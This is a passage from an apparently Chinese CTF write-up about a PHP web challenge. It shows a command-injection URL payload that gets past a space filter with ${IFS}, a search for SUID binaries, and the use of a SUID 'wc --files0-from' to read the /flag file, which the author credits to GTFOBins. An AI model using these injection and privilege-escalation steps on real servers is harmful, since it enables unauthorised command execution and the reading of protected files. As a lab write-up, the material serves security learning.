            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

代码看着很复杂, 但很多也不用去看

直接构造这样的payload就可以执行命令了

过滤了空格, 可以用${IFS}绕过

?action=run&input=ls${IFS}-l${IFS}/

但是无法拿到flag, 看一下权限发现完全没有任何权限

尝试suid提权

find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print

或者输出到tmp目录下去
find${IFS}/${IFS}-user${IFS}root${IFS}-perm${IFS}-4000${IFS}-print${IFS}>/tmp/1.txt

好像也没啥可以利用的, 不过看着这个 /var/www/html/wc感觉有点奇怪, 也不知道有什么用

/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh

尝试执行一下, 应该输出了/flag行数 单词数 字符数, 但没法显示出flag啊 , 不知道要怎么利用
看了wp后发现, 这个wc 的用法
https://gtfobins.github.io/

使用/var/www/html/wc --files0-from "/flag" 即可读到flag

相关推荐
知识分享小能手1 天前
Html5学习教程,从入门到精通, HTML5 新的 Input 类型:语法知识点与案例代码(16)
开发语言·前端·学习·html·html5·web·java开发
H轨迹H1 天前
Vulnhub-election靶机
网络安全·渗透测试·vulnhub·ctf·信息收集·web漏洞·oscp
亿.61 天前
阿里云CTF2025 ---Web
web·ctf·writeup
Alt.92 天前
JavaWeb基础一(Tomcat、Maven)
tomcat·maven·web
合天网安实验室2 天前
ApoorvCTF Rust语言逆向实战
ctf·ctf逆向·apoorvctf
August_._2 天前
【JavaWeb】Web基础概念
java·服务器·前端·分布式·后端·架构·web
不会&编程3 天前
第5章:vuex
前端·javascript·vue.js·web
岁岁岁平安4 天前
SpringMVC学习(初识与复习Web程序的工作流程)(1)
java·spring·servlet·mybatis·springmvc·web
Мартин.5 天前
[Meachines] [Easy] Luanne Lua RCE+bozoHTTPd LFI+NetBSD-Dec+doas权限提升
ctf·htb